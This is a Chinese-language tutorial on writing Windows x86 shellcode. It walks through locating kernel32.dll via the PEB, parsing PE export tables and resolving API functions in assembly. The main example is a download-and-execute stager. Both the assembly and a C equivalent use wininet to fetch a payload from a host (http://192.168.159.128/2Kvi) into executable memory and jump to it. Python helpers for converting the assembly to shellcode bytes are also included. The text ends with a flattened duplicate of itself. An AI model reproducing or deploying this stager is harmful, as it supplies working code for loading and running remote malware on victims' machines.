Windows系统中编写Shellcode
字数 1459 2025-08-09 13:33:40

Windows系统Shellcode编写详解

1. 查找kernel32.dll基址

在Windows系统中编写Shellcode,首先需要获取kernel32.dll的基址,因为其中包含了重要的API函数如GetProcAddress和LoadLibraryA。

1.1 通过PEB结构查找

  1. PEB结构:进程环境块(PEB)包含加载模块的信息
  2. 查找路径
    • PEB -> Ldr -> InMemoryOrderModuleList -> Blink -> Blink -> Blink+0x10 = kernel32.dll基址

1.2 关键数据结构

typedef struct _PEB_LDR_DATA {
    BYTE Reserved1[8];
    PVOID Reserved2[3];
    LIST_ENTRY InMemoryOrderModuleList;  // 需要用到这个
} PEB_LDR_DATA, *PPEB_LDR_DATA;

typedef struct _LIST_ENTRY {
   struct _LIST_ENTRY *Flink;
   struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY;

typedef struct _LDR_DATA_TABLE_ENTRY {
    PVOID Reserved1[2];
    LIST_ENTRY InMemoryOrderLinks;
    PVOID Reserved2[2];
    PVOID DllBase;  // 这里就是dll的基址,对于InMemoryOrderLinks位置偏移是0x10
    // 其他成员省略...
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

2. PE文件格式解析

要获取kernel32.dll中的导出函数,需要理解PE文件格式。

2.1 关键PE结构

  1. IMAGE_DOS_HEADER

    • e_lfanew (偏移0x3C):指向IMAGE_NT_HEADERS
  2. IMAGE_NT_HEADERS

    • Signature (偏移0x0)
    • FileHeader (偏移0x4)
    • OptionalHeader (偏移0x18)
  3. IMAGE_OPTIONAL_HEADER

    • DataDirectory (偏移0x60):包含导出表信息
  4. IMAGE_EXPORT_DIRECTORY

    • AddressOfFunctions (偏移0x1C):函数地址偏移量数组
    • AddressOfNames (偏移0x20):函数名偏移量数组
    • AddressOfNameOrdinals (偏移0x24):函数序号数组

2.2 查找导出函数流程

  1. 从IMAGE_DOS_HEADER(e_lfanew)获取IMAGE_NT_HEADERS偏移
  2. IMAGE_NT_HEADERS+0x18+0x60获取IMAGE_DATA_DIRECTORY
  3. kernel32地址+IMAGE_EXPORT_DIRECTORY偏移地址到IMAGE_EXPORT_DIRECTORY
  4. 获取0x1C(AddressOfFunctions)、0x20(AddressOfNames)、0x24(AddressOfNameOrdinals)三个偏移

3. 获取GetProcAddress地址

以下是获取GetProcAddress函数地址的汇编代码:

mov edx,[ebx+0x3c]      ; 获取IMAGE_NT_HEADERS的起始地址(偏移)
add edx,ebx             ; 加上kernel32的地址
mov edx, [edx+0x78]     ; 获取IMAGE_EXPORT_DIRECTORY的偏移地址
add edx, ebx            ; 加上kernel32的地址
mov esi, [edx+0x20]     ; 获取AddressOfNames偏移地址
add esi, ebx            ; 加上kernel32的地址
xor ecx,ecx             ; ecx清零

Get_Function:
inc ecx                 ; 计数器加1
lodsd                   ; 取当前字符串偏移到eax
add eax,ebx             ; 获取完整字符串地址
cmp dword ptr [eax], 0x50746547 ; 比较"GetP"
jnz Get_Function
cmp dword ptr [eax+4], 0x41636f72 ; 比较"rocA"
jnz Get_Function

; 获取函数序号
mov esi, [edx+0x24]     ; AddressOfNameOrdinals
add esi, ebx
mov cx, [esi + ecx * 2] ; 获取序号
dec ecx

; 获取函数地址
mov esi, [edx+0x1c]     ; AddressOfFunctions
add esi, ebx
mov edx, [esi + ecx * 4] ; 获取函数偏移
add edx, ebx            ; 获取完整函数地址

4. Shellcode编写示例

以下是一个完整的Shellcode汇编示例,实现从URL下载并执行代码:

int __declspec(naked) main()
{
    __asm {
        ; 获取kernel32.dll基址
        xor ecx,ecx
        mov eax,fs:[ecx+0x30]
        mov eax, [eax+0xC]
        mov esi, [eax+0x14]
        lodsd
        xchg eax, esi
        lodsd
        mov ebx,[eax+0x10]
        
        ; 获取GetProcAddress地址(同上)
        ; ...
        
        ; 获取LoadLibraryA地址
        xor ecx, ecx
        push ebx            ; kernel32.dll基址
        push edx            ; GetProcAddress函数地址
        push ecx            ; push 0
        push 0x41797261     ; "aryA"
        push 0x7262694c     ; "Libr"
        push 0x64616f4c     ; "Load"
        push esp            ; 字符串指针
        push ebx            ; kernel32.dll基址
        call edx            ; 调用GetProcAddress
        
        ; 加载wininet.dll
        mov esi, eax
        add esp, 0xc
        push 0x6c6c64       ; "dll"
        push 0x2e74656e     ; "net."
        push 0x696e6977     ; "wini"
        push esp
        call esi
        
        ; 获取InternetOpenA地址
        add esp, 0xc
        mov edx, dword ptr[esp+4] ; GetProcAddress
        push 0x00000041
        push 0x6e65704f     ; "Open"
        push 0x74656e72     ; "rnet"
        push 0x65746e49     ; "Inte"
        mov edi, eax        ; wininet.dll基址
        push esp            ; "InternetOpenA"
        push eax            ; wininet.dll基址
        call edx            ; 调用GetProcAddress
        
        ; 其他函数获取类似...
        
        ; 调用InternetOpenA
        mov edx, dword ptr [esp+0xc]
        push 0
        push 0
        push 0
        push 1
        push 0
        call edx
        
        ; 调用InternetOpenUrlA
        mov edx, dword ptr[esp + 0x8]
        ; ...设置URL参数...
        call edx
        mov edi, eax
        
        ; 调用VirtualAlloc分配内存
        mov edx, dword ptr[esp + 0x4]
        push 0x40           ; PAGE_EXECUTE_READWRITE
        push 0x1000         ; MEM_COMMIT
        push 0x400000       ; 大小
        push 0              ; 地址
        call edx
        mov esi, eax
        
        ; 调用InternetReadFile读取数据
        mov edx, dword ptr [esp]
        push ebp
        push 0x400000
        push eax
        push edi
        call edx
        
        ; 执行下载的代码
        jmp esi
    }
}

5. 常见问题与解决方案

5.1 字符串处理技巧

  1. 字符串压栈:将字符串分成4字节块逆序压栈
  2. 辅助脚本:使用Python脚本自动生成push指令
import re

a = "VirtualAlloc"
func = a.encode().hex()
list = re.findall("..", func)
while(len(list)%4 !=0):
    list.append("00")
list_ = list[::-1]
n = 0
print("push 0x", end="")
for i in list_:
    if n == 4:
        print("\npush 0x", end="")
        n = 0
    print(i, end="")
    n = n + 1

5.2 平台差异问题

  1. Win10与Win7差异:Win10下CALL寄存器后会置零,Win7不会
  2. 解决方案:显式使用xor edx,edx清零寄存器

5.3 URL处理

  1. 问题:URL放在ESP上方可能无法读取
  2. 解决方案:将ESP降到比EBP低,将URL放在EBP下方

6. 汇编转Shellcode工具

使用x32dbg提取汇编代码后,可用Python脚本转换为Shellcode格式:

import re
a = open("asm.txt", "r")
asm_ = a.read().split("\n")
asm_command = ""
for i in asm_:
    asm_command += i.split("|")[1].replace(" ","").replace(":", "")
asm_command_list = re.findall("..", asm_command)
print("\\x".join(asm_command_list))

7. 功能等效的C代码

#include<Windows.h>
#include<wininet.h>
#pragma comment (lib, "wininet.lib")

int main() {
    HINTERNET Session = InternetOpenA("aa", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    HINTERNET Http = InternetOpenUrlA(Session, "http://192.168.159.128/2Kvi", NULL, 0, INTERNET_FLAG_NO_CACHE_WRITE, NULL);
    LPVOID a = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    DWORD dwRealWord;
    BOOL response = InternetReadFile(Http, a, 0x400000, &dwRealWord);
    ((void(*)())a)();
    return 0;
}

总结

编写Windows Shellcode的关键步骤:

  1. 获取kernel32.dll基址
  2. 解析PE结构找到导出表
  3. 获取GetProcAddress和LoadLibraryA地址
  4. 加载所需DLL并获取其他API函数
  5. 调用API实现所需功能
  6. 处理平台差异和特殊问题
Windows系统Shellcode编写详解 1. 查找kernel32.dll基址 在Windows系统中编写Shellcode,首先需要获取kernel32.dll的基址,因为其中包含了重要的API函数如GetProcAddress和LoadLibraryA。 1.1 通过PEB结构查找 PEB结构 :进程环境块(PEB)包含加载模块的信息 查找路径 : PEB -> Ldr -> InMemoryOrderModuleList -> Blink -> Blink -> Blink+0x10 = kernel32.dll基址 1.2 关键数据结构 2. PE文件格式解析 要获取kernel32.dll中的导出函数,需要理解PE文件格式。 2.1 关键PE结构 IMAGE_ DOS_ HEADER e_lfanew (偏移0x3C):指向IMAGE_ NT_ HEADERS IMAGE_ NT_ HEADERS Signature (偏移0x0) FileHeader (偏移0x4) OptionalHeader (偏移0x18) IMAGE_ OPTIONAL_ HEADER DataDirectory (偏移0x60):包含导出表信息 IMAGE_ EXPORT_ DIRECTORY AddressOfFunctions (偏移0x1C):函数地址偏移量数组 AddressOfNames (偏移0x20):函数名偏移量数组 AddressOfNameOrdinals (偏移0x24):函数序号数组 2.2 查找导出函数流程 从IMAGE_ DOS_ HEADER(e_ lfanew)获取IMAGE_ NT_ HEADERS偏移 IMAGE_ NT_ HEADERS+0x18+0x60获取IMAGE_ DATA_ DIRECTORY kernel32地址+IMAGE_ EXPORT_ DIRECTORY偏移地址到IMAGE_ EXPORT_ DIRECTORY 获取0x1C(AddressOfFunctions)、0x20(AddressOfNames)、0x24(AddressOfNameOrdinals)三个偏移 3. 获取GetProcAddress地址 以下是获取GetProcAddress函数地址的汇编代码: 4. Shellcode编写示例 以下是一个完整的Shellcode汇编示例,实现从URL下载并执行代码: 5. 常见问题与解决方案 5.1 字符串处理技巧 字符串压栈 :将字符串分成4字节块逆序压栈 辅助脚本 :使用Python脚本自动生成push指令 5.2 平台差异问题 Win10与Win7差异 :Win10下CALL寄存器后会置零,Win7不会 解决方案 :显式使用 xor edx,edx 清零寄存器 5.3 URL处理 问题 :URL放在ESP上方可能无法读取 解决方案 :将ESP降到比EBP低,将URL放在EBP下方 6. 汇编转Shellcode工具 使用x32dbg提取汇编代码后,可用Python脚本转换为Shellcode格式: 7. 功能等效的C代码 总结 编写Windows Shellcode的关键步骤: 获取kernel32.dll基址 解析PE结构找到导出表 获取GetProcAddress和LoadLibraryA地址 加载所需DLL并获取其他API函数 调用API实现所需功能 处理平台差异和特殊问题